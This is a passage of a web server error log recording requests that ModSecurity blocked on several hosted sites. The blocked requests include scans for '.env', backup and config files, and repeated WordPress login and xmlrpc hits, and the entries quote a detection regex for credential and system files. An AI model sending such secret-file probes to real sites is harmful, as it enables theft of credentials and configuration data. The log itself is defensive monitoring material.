https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:17:28.745097 2026] [access_compat:error] [pid 646876:tid 646989] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:17:28.784711 2026] [security2:error] [pid 646876:tid 646927] [remote 17.22.237.87:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 87.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zGNyTkdrNlD40tSGu3QAAIDA"] [Sat Jun 13 18:17:28.925113 2026] [access_compat:error] [pid 646876:tid 646905] [remote 57.141.14.5:38017] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:28.925541 2026] [access_compat:error] [pid 646876:tid 646905] [remote 57.141.14.5:38017] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:29.009368 2026] [security2:error] [pid 648189:tid 648482] [client 185.177.72.9:36060] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/icon/.env"] [unique_id "ai3zGFWSojQL4F7upKBlwQAAAQA"] [Sat Jun 13 18:17:29.103474 2026] [access_compat:error] [pid 648189:tid 648282] [remote 57.141.14.5:38033] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:29.103763 2026] [access_compat:error] [pid 648189:tid 648282] [remote 57.141.14.5:38033] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:29.111764 2026] [security2:error] [pid 648189:tid 648465] [client 34.23.213.224:55184] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zGVWSojQL4F7upKBlxwAAAO8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:29.148549 2026] [security2:error] [pid 648189:tid 648401] [client 185.177.72.9:36060] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/icons/.env"] [unique_id "ai3zGVWSojQL4F7upKBlyAAAALU"] [Sat Jun 13 18:17:29.249529 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.66:39408] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:29.249820 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.66:39408] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:29.266396 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:29.266700 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:29.272930 2026] [security2:error] [pid 646876:tid 647110] [client 34.23.213.224:55198] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zGdyTkdrNlD40tSGu6AAAAGY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:29.288436 2026] [security2:error] [pid 648189:tid 648410] [client 185.177.72.9:36060] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ikiwiki/.env"] [unique_id "ai3zGVWSojQL4F7upKBlzAAAAL0"] [Sat Jun 13 18:17:29.398885 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.86:42680] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:29.399166 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.86:42680] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:29.429615 2026] [security2:error] [pid 648189:tid 648428] [client 185.177.72.9:36060] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/image_data/.env"] [unique_id "ai3zGVWSojQL4F7upKBl0gAAAM8"] [Sat Jun 13 18:17:29.433907 2026] [security2:error] [pid 646876:tid 647042] [client 34.23.213.224:55206] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zGdyTkdrNlD40tSGu7gAAACI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:29.503905 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.101:26494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:29.504252 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.101:26494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:29.569033 2026] [security2:error] [pid 648189:tid 648444] [client 185.177.72.9:36060] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Imagebord/.env"] [unique_id "ai3zGVWSojQL4F7upKBl0wAAAN4"] [Sat Jun 13 18:17:29.595194 2026] [security2:error] [pid 648189:tid 648416] [client 34.23.213.224:55210] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zGVWSojQL4F7upKBl1QAAAMM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:29.675377 2026] [security2:error] [pid 648189:tid 648228] [remote 17.246.15.118:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zGVWSojQL4F7upKBl2gAA-gg"] [Sat Jun 13 18:17:29.708121 2026] [security2:error] [pid 648189:tid 648390] [client 185.177.72.9:36060] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/images/.env"] [unique_id "ai3zGVWSojQL4F7upKBl2wAAAKo"] [Sat Jun 13 18:17:29.756612 2026] [security2:error] [pid 648189:tid 648356] [client 34.23.213.224:55216] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zGVWSojQL4F7upKBl3AAAAIg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:29.782684 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:17:29.782953 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:17:29.782960 2026] [security2:error] [pid 648189:tid 648473] [client 210.217.96.217:25979] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zGVWSojQL4F7upKBl3QAAAPc"] [Sat Jun 13 18:17:29.783102 2026] [security2:error] [pid 648189:tid 648473] [client 210.217.96.217:25979] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zGVWSojQL4F7upKBl3QAAAPc"] [Sat Jun 13 18:17:29.846908 2026] [security2:error] [pid 648189:tid 648474] [client 185.177.72.9:36060] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/img/.env"] [unique_id "ai3zGVWSojQL4F7upKBl4AAAAPg"] [Sat Jun 13 18:17:29.916636 2026] [security2:error] [pid 648189:tid 648472] [client 34.23.213.224:55232] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zGVWSojQL4F7upKBl5QAAAPY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:29.971532 2026] [security2:error] [pid 648189:tid 648467] [client 36.68.124.48:53992] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "bsj.lfk.mybluehost.me"] [uri "/.env/.env.bak"] [unique_id "ai3zGVWSojQL4F7upKBl6AAAAPE"] [Sat Jun 13 18:17:29.986179 2026] [security2:error] [pid 648189:tid 648440] [client 185.177.72.9:36060] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/in.php"] [unique_id "ai3zGVWSojQL4F7upKBl6gAAANs"] [Sat Jun 13 18:17:30.022500 2026] [security2:error] [pid 648189:tid 648221] [remote 17.22.253.120:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 120.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zGlWSojQL4F7upKBl7AAAtgE"] [Sat Jun 13 18:17:30.076397 2026] [security2:error] [pid 648189:tid 648396] [client 34.23.213.224:55236] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zGlWSojQL4F7upKBl7gAAALA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:30.237992 2026] [security2:error] [pid 648189:tid 648380] [client 34.23.213.224:55242] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zGlWSojQL4F7upKBl8wAAAKA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:30.251147 2026] [security2:error] [pid 648189:tid 648360] [client 185.177.72.9:36072] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/inc.config.php"] [unique_id "ai3zGlWSojQL4F7upKBl9AAAAIw"] [Sat Jun 13 18:17:30.333840 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:30.334293 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:30.399327 2026] [security2:error] [pid 648189:tid 648417] [client 34.23.213.224:55254] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zGlWSojQL4F7upKBl9wAAAMQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:30.508380 2026] [access_compat:error] [pid 648189:tid 648234] [remote 57.141.14.49:58701] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:30.508660 2026] [access_compat:error] [pid 648189:tid 648234] [remote 57.141.14.49:58701] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:30.528131 2026] [security2:error] [pid 646876:tid 647034] [client 185.177.72.9:36086] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/includes/.env"] [unique_id "ai3zGtyTkdrNlD40tSGvAQAAABo"] [Sat Jun 13 18:17:30.560977 2026] [security2:error] [pid 646876:tid 647066] [client 34.23.213.224:55260] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zGtyTkdrNlD40tSGvAgAAADo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:30.659445 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.100:25235] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:30.659719 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.100:25235] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:30.667669 2026] [security2:error] [pid 646876:tid 647083] [client 185.177.72.9:36086] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/includes/config.php"] [unique_id "ai3zGtyTkdrNlD40tSGvAwAAAEs"] [Sat Jun 13 18:17:30.721115 2026] [security2:error] [pid 646876:tid 